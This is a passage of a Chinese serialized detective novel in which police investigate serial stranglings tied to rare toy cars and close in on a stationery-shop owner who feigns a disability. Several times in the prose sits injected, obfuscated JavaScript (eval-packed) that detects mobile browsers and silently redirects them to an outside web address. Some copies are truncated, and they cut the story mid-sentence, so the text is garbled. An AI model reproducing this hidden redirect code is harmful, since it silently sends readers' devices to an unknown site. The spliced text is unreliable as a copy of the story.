“是。”陆闻应了一声,见武淇君示意他继续,便又开口道,“这是在案发现场发现的玩具车。在对部分店铺进行走访后我们得知,这种玩具车现在在市面上并不常见,1992年前后也只是以刮奖兑换的方式活跃在市场上。” “对比之前类似的案件,我觉得这辆玩具车对于作案人而言,应该是很重要的东西,不过具体是以什么含义出现在受害者的身上,暂时还不知道。” “现场还有什么其他的发现吗?” “一组在对两个案发现场进行复勘之后,发现了一节麻绳,上面残留的纤维组织是受害者的,案发现场附近的监控录像也拍到了嫌疑人,但他进行了很完美的乔装。” 武淇君没再说话,会议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985485|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室内突然陷入一片沉寂。 良久,他突然撑着桌子站起来,是对陆闻,也是对在场的所有人说道:“两周左右的时间,已经有两名受害者遇害,可现在对于犯罪嫌疑人,我们的线索实在太少。” “为了避免接下来会有更多的受害者出现,陆闻,”武淇君抬起头,与会议桌对面的人四目相对,“你可要抓紧啦。” “是,武局。” 会议结束后,负责本案的警员又陆续去了案发现场附近进行调查。 而留在会议室里梳理线索的陆闻,在仔细回忆了会上武淇君的话后,终于想到了之前,自己一直没注意到的那个线索。 “哎,你没和他们一起啊?”就在陆闻准备下楼的时候,正好碰到对面上楼的齐况,见对方点头,又继续说道,“那正好,咱俩一组,走吧。” “陆队,”陆闻走的匆忙,齐况只能快步跟在他后面,“是有什么新的发现吗?” 刚拉开车门的陆闻停下动作,微微抬眼看向对面的齐况:“我觉得第三小学,或许会有我们想要的答案。” 两人到达那里的时候,正是上午的大课间。低年级的小孩儿都很调皮,在走廊里追赶打闹,偶尔有老师出来制止,也不过只起到一会儿的作用。 “你好,”陆闻两人停在二年级的教室门口,里面是正在给学生们开班会的老师,“蒋老师对吧,能占用你几分钟的时间吗?” 走廊上,蒋隶关切的目光,始终没离开自己班级的门。 从这里望进去,刚好能看到那个站在教室里,正和别的小朋友嬉笑打闹的男孩儿:“梁明逸的妈妈已经和我沟通过了,她并不想让自己的儿子这么快知道这件事,毕竟他今年才只有八岁。” “这个我们明白,只是有些情况想了解到。”陆闻犹豫了一下,还是将那张照片拿出来递到蒋隶面前,“这种玩具车,你见过吗?” 蒋隶没说话,只是从陆闻手里接过照片,仔细观察着上面所有的细节:“其实,我们学校不会让小朋友带太多的玩具过来,所以我也不太了解这种玩具车之类的。抱歉。” 和蒋隶老师分开之后,陆闻站在教学楼前,一时不知该不该继续问下去。 蒋隶说得对,他们还只是小孩子,父亲去世对他们来说已经是很大的伤害了,可他现在还要去揭开那块,连疤都没来得及结的伤口。 “陆队,怎么了?” “齐况,”陆闻回过神,朝齐况摇了摇头,“没什么,回去吧。” “回去?”齐况有些没反应过来,“陆队,我们还没去找周欧呢,那边或许会有我们想要的线索。” “可是……”陆闻有些懊恼地挠了挠后脑勺。 是啊,万一因为自己的优柔寡断遗漏掉什么重要的线索,而让更多的人受到伤害,那他还有什么资格去做一名警察呢? “走。” 高年级的学生都在另一栋教学楼,相比年幼孩子的活泼闹腾,这里明显要安静许多。 上到六年级所在的楼层之后,陆闻来到了周欧所在的班级,谁知教室里却是空无一人。 后来他们也是听隔壁班的老师说才知道,周欧所在的班级下节是体育课,现在应该都在操场等着上课。 于是两人又绕到操场。 陆闻一眼就看见了独自坐在台阶上的少年,那个望向远处,有些单薄的身影:“周欧,对吧?” 30. 补旧 坐在台阶上的少年,带着有些木讷的表情回过头,却在下一瞬又恢复了原来的姿势,陆闻抿了抿嘴唇,抬步走到他身旁坐下—— “听说你很喜欢打篮球,怎么不去和同学一起玩儿?” 周欧仍不说话,只目不转睛地盯着前方。陆闻有些好奇,便顺着他的目光看过去:“你在看什么?” “那个地方。” 良久,就在陆闻以为周欧仍不会回答自己的时候,少年一字一句地开口道。 “哪个地方?” 闻言,周欧转动眼珠看向陆闻,原本空洞的目光终于有了些光彩:“我爸爸被坏人害死的地方。” 陆闻有些愣怔了。 周欧说这话时,丝毫不像是个只有十二三岁的少年,他一时间有些没看出来,少年究竟是以什么样的心态坐在这里。 “你看到了?” 少年却又摇头:“是妈妈告诉我的,我在家里等了爸爸好久,可是他再也不会回来了。” 陆闻没再说话。 在周欧看不见的地方,他和等在不远处的齐况对视一眼,而后才说出一句:“我一定会抓住伤害你爸爸的凶手的。” 离开学校后,陆闻的心情有些复杂。 人在不同的年龄,总要承受相应的责任,年幼的梁明逸在此刻,只会认为梁赫是去了远方,而周欧却要永远活在失去父亲的痛苦之中。 “回去吗?” 齐况在旁边说的这么一句,将陆闻的思绪猛地拉回:“回。” 两人随后出了学校,走到停在校门附近路边的汽车前,正准备上车时,陆闻却突然注意到了马路对面正在营业的小卖部。 他一手撑在车上,看向打开车门已经准备上车的齐况:“那家小卖部,我们之前是不是没去过?” 齐况停下动作,顺着陆闻的目光看过去:“上次我们过来这边调查的时候,那家店好像是关着的。” “那正好,过去看看。” 掀开小卖部的门帘,陆闻第一眼注意到的,就是挂在柜台旁边的红色大头毛绒娃娃。 虽然罩着毛绒娃娃的塑料袋上已经积了一层灰尘,可那鲜艳的红色,还是让人能在第一时间就注意到。 只不过现在店里并没有人,而且里面的空间不算大,除了摆放商品的货架,基本只能并排站下两个成年人。 陆闻习惯性地观察起这里的布置,谁知才刚大致扫过一圈儿,从店铺最里面的门后就出现了一名成年男性。 来人首先和陆闻来了个四目相对,只不过几秒,又将目光移到旁边齐况的身上:“两位家长,是过来给孩子买东西的吗?” “嗯。”陆闻点点头,顺着他的话继续说下去,“我家孩子最近特别想买一种玩具,不过,我找了好几家店都没有。” “额……”店老板这才关上身后的门,挪动步子朝两人过来,“您说的是哪种玩具?” 下一刻,陆闻却没忍住皱起了眉,因为此时朝他们走过来的店老板,竟是个腿脚不方便的人。 只见此人正费力地拖动着左腿前进,明明只有几步的路程,于他而言却有些漫长。 这样的人,会和他们的案件有关吗? “我看看。”店老板在两人面前站定,而后从陆闻手里接过照片,低头仔细观察着,“哦,这种小玩具车啊。” 店老板将照片又重新塞回到陆闻的手中,旋即转身走到一排货架前,艰难地蹲下身从货架最底层掏出一件小东西。 “喏,是这个吧?” “还真是!”陆闻便笑了,“你说我家那小崽子,见同学家有个这样的小玩具,吵着闹着非让我买,我这跑了这么多店,可算是找到了。” 店老板撑着货架站起身,走过去将玩具车递到陆闻面前:“小孩子嘛,都喜欢这种稀奇古怪的东西。” “只不过这种玩具车现在在市面上很少见了,说起来,前段时间还有家长专门过来买这种玩具车,一次买走好多个呢。” 闻言,对面的两人立刻警觉起来:“你说有人专门过来买这种玩具?” “对啊。” “什么时候?” “好像是……半个多月前。” 店老板倒吸了一口气,皱紧眉头仔细回忆着当时的情景:“我记得,当时已经是晚上的11点了,我正在柜台那边记账准备打烊,突然进来一个男的,把自己蒙的严严实实的。他一进来就直奔那层货架,二话不说拿上一盒儿就付钱走了。” “一整盒?” “对,这种小玩具本来就是拿来兑奖用的,很少有人会单独买,还一次买这么多,所以我记得很清楚。” “那他之前有来过你们店吗?” “应该……没有吧,看着像生面孔。” 陆闻没立刻说话,而是歪着头朝刚才店老板拿出玩具车的货架看过去:“那人穿了什么样式的衣服,还记得他长什么样吗?” “这倒是记不清了。”店老板摇摇头,之后又补充道,“不过,我记得他好像比我高些。” “啊,我身高在183左右,那男的看着和我差不多。至于长相,不记得了,他戴着口罩,我也只抬头扫了他一眼,就没看太清楚。” “好,”陆闻若有所思地应了一声,“谢谢老板帮我找到玩具车,那我们就先走了。” “诶,两位太客气了,慢走啊。” “带回队里,让他们看看是不是同一种。” 从小卖部出来之后,两人径直穿过马路回到车上。坐在副驾驶位的齐况正在系安全带,却听到身旁陆闻突然来了一句:“你觉得呢?” 齐况手上动作没停,等到将安全带扣好之后,才抬起头与陆闻四目相对:“我觉得他的话不可信。” 陆闻微一挑眉,点头示意齐况继续说下去:“首先,在最开始那个店老板看到我们的时候,绝对不像是正常看见店里有顾客的反应。” “而且,那个玩具车放在最底层货架,那么偏的位置,除非是个子矮的小朋友,成年人也只有蹲下才能注意到。可按店老板的话来说,那人是生面孔,却在一进门就自己拿起了货架上的玩具车,这不合理。” “我也觉得,他像是故意放出假线索在转移我们的注意力。只不过,如果将他认为是犯罪嫌疑人的话……” 一个腿脚有残疾的人,绝对不可能在不留痕迹的情况下制服一个成年男性,并且还是以勒死的手法作案,正常来说,因受害者挣脱而失手的可能性更大。 “齐况,回去之后查查这个店老板的个人信息和社会关系。” “好。” 城东区分局刑侦大队的会议室里,齐况站在白板前,将陆闻让自己调查的店老板的照片,贴在了之前案件梳理图的旁边。 “吴桓,童乐文具店的老板,今年37岁,家住南山路附近的福园小区。23岁和妻子李莉结婚,两年后育有一女,不过两人关系似乎不太好,吴桓在店里住的时间居多。” 陆闻坐在会议桌右侧靠近白板的位置,手指弯曲在桌上有一下没一下的敲击着:“他的腿是天生有残疾吗?” “并不是。”齐况从桌上的一叠照片里抽出一张,贴在了整个线索图的旁边,“这是2013年的一则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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和队里的同事打好招呼后,陆闻就独自去了距离文具店不远的早餐摊上,这是一家卖杂粮煎饼的摊位,旁边的泡沫箱里还整齐的摆放着杯装的粥和豆浆。 他两手插兜,见四处没人,才晃晃悠悠地走到小摊儿前:“老板,来一份杂粮煎饼,中辣多加点薄脆。” “好嘞。” 小摊老板应下一声,而后戴上手套开始操作。陆闻看着锅上那一层圆圆的饼皮,脑内快速斟酌着该如何开口—— “老板,我看你这儿早上生意挺好的啊。” 摊主大娘没抬头,只熟练地拿起刷子在饼皮上刷着酱:“还行吧,基本都是三小的孩子们过来买早餐,我这儿卖的也便宜些。” “对,我也是听童乐文具店的老板推荐过来的,说你这儿的煎饼便宜又好吃。” “哦你说吴老板啊,”摊主大娘终于得出空来,抬起头朝陆闻看了过去,“他确实是我们家老主顾了,经常来买煎饼。” “吴老板人也挺好的,每次我家小孙子放学去他店里买东西,他都会送棒棒糖呢。我记得之前,不是还报道过吴老板见义勇为呢吗,可惜了,伤了一条腿。” 见摊主大娘主动聊到关于吴桓腿伤的事,陆闻立刻顺着她的话说下去:“是啊,我上次去他店里买玩具,见他走路拿东西啥的都不太方便,一个人管着店也挺不容易的对吧。” “嘶——,吴老板的腿伤,也没那么严重吧?” 摊主大娘紧皱起眉头,突然觉得哪里有些不对:“说起来,这两天他过来买早餐,我确实觉得他的腿,瘸的是比之前严重了……可能,可能是旧病复发了吧。” “老板,拿杯豆浆。” “哎。” 一个过路行人的走近,将摊主大娘的思绪猛地拉回。她慌忙应下一声,然后将杂粮煎饼递到了陆闻手里:“小伙儿直接扫码就行。” 31. 补旧 离开煎饼摊之后,陆闻直接进了童乐文具店里。 吴桓正站在货架前整理商品,听见门口有人进来,便抬头招呼道:“欢迎光临。” 陆闻嘴里还有一大口煎饼没来得及咽下去,所以只是朝他点点头,算作回应。吴桓眉头微皱,看了片刻才认出眼前人似乎在前几天来过。 “哦,是您啊。”吴桓一瘸一拐地转过身,又缓缓往前走了几步,“今天没和那位先生一起过来?” “啊……他有点忙。” 陆闻歪着头,绕过吴桓往店铺里面看了几眼,而后却忽地将目光移到吴桓身上,一双眼睛带着审视:“您的记忆力挺好啊,竟然还记得我们。” 陆闻本以为,吴桓至少会因为自己突来的质问而措手不及,谁知后者却丝毫没有慌乱:“您说笑了,和我的记忆力没有关系,是因为你们二人给我的感觉,让我记忆深刻。” “哦,什么感觉?” “说不好,也许是觉得二位的聊天方式很像……”吴桓微眯着眼,似乎是在脑内斟酌该用什么样的形容词才好。 最后,他终于轻轻吐出两个字:“警察。” “警察?”闻言,陆闻被惊得瞪圆了眼睛。 他连忙把嘴里的东西咽下去,然后站直身体理了理衣领,面上丝毫不掩嘚瑟的小表情:“真的吗,我这气质特别像警察吗?” 或许是陆闻的反应有些出乎自己的意料,吴桓正思考该如何接话时,却见对方像是打开了话匣子似的,滔滔不绝地在自己耳边继续道—— “说起来,我小时候就特别崇拜警察这个职业,也梦想着长大能成为一名好警察,结果你猜怎么着?嘿,我现在啊,还真成了一名警察。” “是吗。”对上陆闻带着审视的目光,吴桓扯起嘴角笑了笑,只是这样看去,却能发现他笑的着实有些勉强。 “其实,我昨天只是觉得二位说话的方式有点像,没想到,还真有警察上门呢,是因为前段时间的新闻吗?” 闻言,陆闻的睫毛微不可察地颤动了几下:“你说最近那个案子?” “是啊,你们难道不是因为那个新闻才来小学查案的吗?”吴桓抬起眼帘,一双深邃的眼睛直愣愣地盯着陆闻,“好像,还是连环杀人案。” 从童乐文具店出来之后,陆闻又咬了一口手里的煎饼,可细细品来,才觉得这煎饼怎么嚼着都没味儿。 回到城东分局之后,几名警员不约而同地围了上来:“陆队,怎么样了?” “看来已经打草惊蛇了。” “啊?”陆闻话音刚落,对面几人的表情都有些不好看。 “都打起点精神来!”陆闻沉着脸色,低声呵斥了几人一句,“先别看监控了,估计他早想好了我们会看监控,那几天才一直重复着相同的动作。” “不过,吴桓那边肯定知道些什么,我已经想好了,虽然现在还没有证据能证明吴桓就是嫌疑人,但我们可以先将他作为证人带回来,到时候总能问出些什么的。” 接到通知后,齐况就立刻回到队里,又去了监控室那边。轻推开门,陆闻正坐在电脑前,仔细观察着隔壁询问室的监控画面里,人物的一举一动。 “陆队。” “来啦,”陆闻没移开目光,只是指了指电脑屏幕,“正好,过来看看。” 监控画面里,吴桓正坐在询问室,对面是苏乐和负责记录的警员:“你说在半个多月前有见过犯罪嫌疑人,还记得确切的时间点吗?” “那天……”吴桓偏过头仔细回忆着,“应该是星期三,差两分钟到11点,因为我都是那个点关门,再确切的时间我也想不起来了。” “还记得他的长相吗?” “不记得了,他戴着口罩和帽子,看不清长相,我只注意到他还挺结实的。” “有多高?” “我的身高是183,他看起来和我差不多高吧。” “他这证词应该都是提前准备好的。”陆闻正看的投入,却听见齐况在旁边这样说道,“从我们第一次见到他,他就已经想要到要怎么应付我们了。” “嗯。”陆闻对此却并没有感到惊讶,好像这些早就在他的预料之内,“不过就算他应付的再好,只要是做过的事,就一定会有迹可循。” 言罢,陆闻起身出了门,不过片刻齐况便在询问室的监控里看见了他。他走过去戴上耳机,仔细看着画面里的人。 “没想到,你真的是警察。”吴桓说这话时,面上未起一丝波澜,仿佛只是在确定自己最开始的那个想法。 “我不是都告诉过你了吗,不信?”陆闻笑了笑,随后搬了椅子在苏乐旁边坐下,“放心,只要你没做什么坏事,警察也没什么可怕的,对吧?” “那是当然。” 陆闻没心情再与他拉扯,于是便翻开面前的记录本,问道:“两位受害者在遇害前都去过你的店里,还记得吧?” “记得,他们经常带着小朋友去我店里买文具,有时候还会搭上几句话。” “还记得他们最后一次去你店里,是在什么时候吗?” “记不太清了,本来这一个月来因为刚开学,每天过来买文具的学生就挺多的,我哪能每个人都记的那么清楚?” “平时他们去你店里的时候,和他们搭过话吗?或者他们认不认识,有没有一起在你店里出现过?” “这个还真说不好,您也看见我那个店有多小了,放学人多的时候,我也记不清有哪些是常客。” 几句话问下来,陆闻基本没从吴桓的证词里得到什么有用的信息。他利落地把记录本一合,站起身说了句:“苏乐,和我出来一下。” 出了询问室的门,陆闻和苏乐两人面对着站在走廊上:“陆队,这个吴桓什么都不肯说,再问下去也不是个事。” 陆闻点点头:“我们现在证据不足,先让他回去吧。” “好。” “哎,等一下!” 苏乐应了一声,转身正准备进去的时候,却听见身后的陆闻忽地叫住自己:“怎么了陆队?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这几天我调出了吴桓之前和最近的监控对比,发现他这段时间的走路姿势,有了明显变化,尤其是从一周前开始,几乎每天腿脚看起来都会要更严重一些。” “还有这个,”苏乐拿起鼠标在电脑屏幕上点击了几下,“这是福园小区周边店铺的监控录像。 “在这段视频里,吴桓因为要躲避对面过来的行人往路边退了几步,可这动作,根本就不像是个左腿有残疾的样子。” 陆闻点点头,接着苏乐的话继续道:“而且我去过两次文具店,都没在店里看见过拐杖之类的东西。一个腿脚有残疾,而且需要频繁走路的人,却连一双拐杖都没有,我觉得很奇怪。” “万一他是用不习惯拐杖呢?” “是有这个可能,所以我才让苏乐查看了他家附近的监控。而且……” 陆闻转笔的手不自觉地慢了下来:“早餐摊的阿姨也说过,他的腿看起来要比之前严重许多。看监控里他最近的行程路线都很规律,怎么会突然严重起来,只怕是在欲盖弥彰吧。” “吴桓确实隐藏的很好,”说着,苏乐抬起头看向众人,“只不过在这几天的观察之中,其实不难发现他有很多破绽。” “比如,明明腿脚不方便,却还是会把最常用的清洁工具放在货架最高处,明明家里距离文具店有段距离,却从来不用拐杖或代步工具。或许,这只是为了让别人对他腿有残疾的印象更加深刻罢了。” “没错,”陆闻接着她的话说下去,“而我们现在,就是要顺着这条线索查下去。” 32. 补旧 “虽然,单单只凭吴桓有无残疾,来判断他是否为犯罪嫌疑人还不可能。” 陆闻适时开口,打破了屋内的沉默:“可他既然对我们有所隐瞒,就说明事情一定不会那么简单,不仅是他,还有那个出现在案发现场的小玩具车。” “二组,对于之前在案发现场发现的线索,和受害者家属那边还要继续跟进,一组负责观察吴桓的动向,切记不要跟得太紧。” 案件讨论结束之后,陆闻没马上离开会议室,而是坐在座位上,仔细观察着手里那个小玩具车。 “你到底隐藏着怎样的秘密呢……” 在重新改正对本案的侦察方式后,城东分局刑侦大队的警察,在之后几天陆续发现了大大小小不少的线索。 而在着重调查吴桓的这件事情上,陆闻还是决定去他的老家探一探情况。 吴桓的老家在邻市,在办理好相关的手续之后,陆闻叫上齐况,驾车去了此行的目的地。 跟着导航进到一座村庄之后,陆闻首先看到的,是挂在村口的几贴标语:“听说前两年吴桓父母还没去世的时候,吴桓总是带着妻儿回来看望二老,后来二老因病相继离世之后,除了逢年过节回来上香,村里人再也没见过吴桓。” “最亲的人都已经不在了,回不回来的又有什么区别呢。” 陆闻没立刻答话,只是偏过头看了眼身旁的人:“哎老齐,我现在才发现你这个人,真的,和我第一次见你的感觉很不一样。” “嗯?”闻言,齐况将目光从记录本移到了陆闻身上,“哪里不一样?” “你看啊,最开始我们俩是在那个案发现场遇见的吧,当时我就觉得这孩子胆儿小的很,问啥都说不出个所以然来,真要把我给气死。” “后来秦队还把我教育了一顿,说人刚成年的孩子,又看到尸体,怎么可能不害怕?我想也是哦,估计这孩子,这辈子都得有阴影了吧。” 陆闻正说着,突然没忍住笑了起来:“结果没想到啊,几年后我们俩又是在案发现场遇见,我更没想到的是,你已经是名警察了。” 听到这里,齐况也没忍住笑了。 “而且我一直都觉得,你温和,对人也有礼貌,我开始还担心以你的性格,应该是不适合当警察的。不过现在看来,你其实比我适合当警察。” 齐况微一挑眉:“为什么会有这种感觉呢?” “我干了这么多年警察,虽然案子见过不少,有时候难免还是会不自觉带入自己的情绪。可你不一样,对于每件案子,你都可以完全把自己给圈出去,绝不让案件背后的故事或人牵动自己的情绪。” “是吗?”齐况转头看向窗外,陆闻没看清他之后的表情,“或许,没有感情的人都是这样。” 当时的陆闻,并不知道齐况这句话的意思,也没来得及再多问。因为就在齐况说完这句话之后,他们的车正好就停在了吴桓老家的大门口。 “先下去吧。” 陆闻解了安全带,推开车门首先下去,意料之中的吴桓家大门紧锁,只有隔壁邻居家大门外的树底下,正坐在一桌下象棋的老年人。 齐况随后下车,他走到陆闻身旁,解释道:“吴桓父母离开后这里就荒废了,没人也正常。” 陆闻点头:“那先去问问他们吧。” “你好,我们是蓝海市的警察,”陆闻首先走过去,向几位老人出示了自己的警察工作证,“请问,旁边是吴桓家吗?” “警察啊?”坐在桌边看棋的一位老奶奶,眯起眼看着陆闻的工作证,“哦哦,隔壁是老吴家,他是有个儿子叫吴桓。” “不过老吴和他老伴儿前两年就走了,他儿子也没怎么回来过,咋,他儿子犯啥事儿啦?” 陆闻没回答,只是掏出那辆玩具小车,将它递到老太太的面前:“奶奶,这种玩具车您见过吗?” “这小玩具车……” 老奶奶抬手扶了扶自己的老花镜,仔细盯着陆闻手里的东西良久:“哎呀,这都多少年前的啦,我孙子小的时候就喜欢买这个,说是什么……和卡通片儿里的车是一样的。哎呀,我哪儿懂那些。” “哦,说起来,我孙子以前总跟在老吴家儿子屁股后头,天天就搞什么兑奖,非要兑到这玩具车不可,因为这都被他爸打过不知多少回了,不长记性!” 老太太摇摇头,和两人吐槽着自己的孙子,可语气里却满是宠溺。 陆闻却从这几句话里抓住了重点:“您是说,吴桓小时候也爱玩儿这种玩具车?” “是啊,”老太太一拍大腿,朝两人凑近说道,“那叫一个着迷呦。每次因为兑奖花光了零花钱,回家就被他爸满院子追着打,不长记性!” “那后来呢?” “后来,后来呀,他爸当着他的面儿,把他所有的玩具都摔了扔的远远的,自那之后吴桓就再没带回家过一个玩具。” 陆闻若有所思地点点头:“奶奶,您说的这些都是真的吗?” “当然都是真的,奶奶能骗你啊?俗话说远亲不如近邻,我家和老吴家以前就爱互相串门儿,吴桓穿开裆裤的时候,可常来我家蹭饭呢。” 陆闻没再说话,而是转头和齐况对视了一眼。 如果这样说的话,这个玩具车在吴桓童年时就如此重要,长大后会产生执念也不是没有可能。 只是,触发他杀人的动机是什么呢? 离开吴桓家的时候,天色已经很晚了。陆闻抬手看了眼腕表,才对着齐况开口道:“马上都快九点了,这边的山路不好走,不如明天再回去吧?” 齐况点点头:“好。” 这边的村庄里都是住户,想要找宾馆或者招待所,还要开出很远一段距离,所以两人商议之后,还是决定先在车里凑合一晚。 陆闻从后备箱里拿出两条毛毯,而后上了车将其中一条递给齐况:“晚上可能会冷,盖一下吧。” 见齐况的表情有些疑惑,陆闻又解释道:“哎,都是以前和他们执行任务的时候,因为总是在车里过夜,所以才带着这些的。” 齐况点点头,而后将毛毯放在腿上:“白天老奶奶说的话,我已经做了大概的整理,你要不要看看?” “嗯,”陆闻接过齐况递到自己面前的记录本,而后仔细翻阅了一番,“你说,会不会是吴桓小时候因为玩具车的事,所以才会在店里卖这种已经过时很久了的东西。” “有可能。其实很多人都是这样,在失去某些东西或经历过某件事之后,在心底会对其产生执念,从而做出极端的事情。” 陆闻将记录本合上,眉心不自觉地皱在了一起:“但是还有一个问题我没想明白,按理说周鹏和梁赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985488|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他只是买卖关系,私下里并没有什么过节,如果吴桓是真正的作案人,那么他的作案动机,会是什么呢?” 陆闻目光一转,却突然注意到距离他们不远处,有两个成年男性正在互相拉扯,看起来一副要打架的样子。 “你在上面待着,”说着,陆闻推开车门下车,“我下去看看怎么回事。” “你什么意思啊嗯?” “我今天就不买了怎么了!” “不买我弄死你!” “哎哎哎,”两人越吵越激烈,眼看就要打起来,好在陆闻及时过去将两人拉开,“怎么回事儿啊这是?” 闻声,两人同时看向来人,其中一名穿着黑色上衣的男性首先反应过来,旋即抬手指着陆闻骂道:“你他妈谁啊,多管闲事是吧?” 陆闻扯着嘴角笑出声来,他不紧不慢地从上衣口袋里掏出自己的工作证,只一秒就变了脸色:“警察。” 还没看清眼前的工作证,两人就立刻怂了下来:“警……警察叔叔。” 陆闻微一挑眉,却没说话,只是紧紧盯着那个看起来,比自己还要大上几岁的黑衣男。 或许是意识到了哪里不对,那黑衣男连忙摆摆手,改口道:“警察哥……警察同志,警察同志!我没想骂您的,我这个嘴啊,它就是没个把门儿的!” 黑衣男说完,又装模作样地做出要抽自己嘴巴的动作,却被陆闻给及时制止:“好了好了。说说吧,这大晚上的,怎么回事儿啊?” “这,警察叔……警察同志,”那黑衣男苦着脸,小心翼翼地伸手指了指对面的眼镜男,“还不是他嘛,我都准备关门了,结果他要进来买东西,买就买吧,结果他把我东西碰坏了还想赖账!” “警察同志你说,这我怎么忍得了啊,让他赔他又不赔,我说要报警,他说你报呗,你说这什么人啊这。” “我说了那东西不是我弄坏的。”从头到尾都站在旁边一言不发的眼镜男,突然在这时开口说了一句。 “还不是你不是你,”和眼镜男对上之后,那黑衣男马上就来了劲儿,“我那监控都看的真真儿的,你还想抵赖,非得挨揍是不是?” 闻言,陆闻眉心一皱:“哎——” “你看我这个嘴……”黑衣男连忙给了自己一巴掌,“警察同志,我的问题,我的问题。” “我不管你们谁的问题啊,现在都这么晚了,这事儿能私底下和平解决就和平解决,不能和平解决也给我先各回各家,等明早我联系当地的警察,再让他们出面给你们解决。但是等会儿要是真私底下打起来,这事儿可就没那么简单了啊。” “哎呦警察同志,”闻言,黑衣男立刻举起手作出发誓的手势,“您放心,我俩私下解决,保证不动武。” “确定?” “确定。” “那好,回去吧都。” 在和两人协商好,并且看着两人各自离开之后,陆闻才放心的重新回到车旁。一直在车里观察几人动作的齐况等着他坐好,才开口问了一句:“怎么了?” “一人说另外一人碰坏了自己店里的东西,另外那人就说自己没有,双方沟通不成就差点儿打起来……” 话音还未落,陆闻调节座椅的动作猛地一顿,而后缓缓抬起头看向齐况:“哎老齐,你说,吴桓会不会也是因为……” 33. 补旧 早上刚过七点,陆闻的手机就开始振动起来,他迷迷糊糊地睁开眼,摸索着拿起手机按下了接听键:“喂,怎么了?” “什么?”电话那边不知说了句什么,陆闻猛地坐起身,顿时睡意全无。 可在意识到旁边还有正在休息的齐况时,他又尽量将声音压低:“行,我知道了,马上回去。” 挂断电话后,陆闻叫醒了齐况,立即驾车赶往蓝海市城东区,而在进到城东分局刑侦大队之后,两人首先去了会议室。 “陆队,”负责本案的警员早已经就坐,见人进来,才一齐招呼了一声。 “嗯。”陆闻点点头,随后在会议桌前坐下,“东西呢?” “还在技术那边。” “好,先说明一下整个过程。” “是这样的,”坐在最边上的一名警员闻声站起,旋即走到会议桌边的白板前。 他将手里的照片依次贴在白板上,而后才转身面向大家:“这袋垃圾,是我们在第三小学后面的垃圾站发现的。” “今早不到五点,吴桓就去了童乐文具店,可他在店里待了还不到十分钟,就提着一包垃圾出来,明明店对面就有垃圾桶却不扔,偏偏跑到三小后面的垃圾站扔。” “我们几个都觉得奇怪,就在他走后翻了那袋垃圾,果然,在里面发现了一副用过的棉纱手套。” “而且在这副棉纱手套上,我们还发现了和案发现场那根麻绳相同材质的纤维,初步判定是出自同一根麻绳,不过还要等技术那边的结果出来。” 陆闻没说话,只是走到他旁边,仔细盯着那张放大了手套局部的照片。会议室里没人说话,似乎都在等着陆闻先开口。 “人现在在哪儿?” “还在店里。” 一阵短暂的沉默之后,陆闻终于回过神,将目光移向对面的众人:“一组二组全体都有,先去童乐文具店和附近路口进行布控,一旦发现吴桓有可疑动作立刻把人按下。苏乐,你去技术那边等结果,一有通知就马上联系我们。” “好。” 两组队员全体出动,都隐藏在连接着其他地方与童乐文具店的所有路口附近。陆闻则带着几个人盯在童乐文具店门口,仔细观察着进出那里的所有人。 虽已入秋,可没来得及退场的骄阳丝毫未收敛自己的锋芒,它毫不吝啬地将那夺目的光辉,均匀地洒在每个角落。 而城东分局刑侦大队的警员,皆在原处待命,汗水从额角滴落,可他们并没有放松警惕。 “陆队,”对讲机那边终于传来了苏乐的声音,“技术那边的同事说,在吴桓垃圾袋里找到的那双手套上的纤维,确实是出自案发现场的那根麻绳。此外,在那些麻绳纤维上,还发现了梁赫的皮肤组织。” “好,”陆闻没有迟疑,只朝着对讲机又说了一句“全体都有,出动”,便示意和自己一组的另外两人,往童乐文具店的方向过去。 谁知,在掀开门帘的那一刻,陆闻却猛地愣怔住了,因为此时应该站在柜台里的吴桓,早就已经没了踪影。 “这……”在陆闻之后进来的两人也愣住了,“没看见人出来啊……” 陆闻紧抿着唇,却没说话,而是径直朝里面走了过去。 在店内最里面的那扇木门后,在陆闻第一次进到文具店,就看见吴桓从这里出来的那扇木门背后,竟然是连接到外界的店铺后门。 原来,吴桓早在他们过来之前,就已经通过这扇后门逃了出去。 “苏乐,”陆闻阴沉着脸,拿起对讲机放在嘴边,“马上调出童乐文具店附近路口的监控,从早上5点到上午11点之间,看看是否能发现吴桓逃去了哪个方向。” “收到。” 那边的苏乐没敢耽误,在调出童乐文具店附近多个路口的监控录像进行查看之后,终于在碧云路和江宁路交叉的路口监控画面里,发现了吴桓的身影。 “目标人物在上午的7点03分开车经过碧云路中段路口,之后就右转往榕好路方向去了。” “榕好路……高速?” 陆闻一行人找到吴桓的时候,人正在他父亲吴正风的墓前坐着。大概是听到有脚步声,吴桓没回头,便知道他们已经找到了这里。 “陆警官,我说了,我真的记不清那人的长相了。” 陆闻没立刻回答,而是走过去坐在他对面不远处:“没关系,我们已经找到了。” 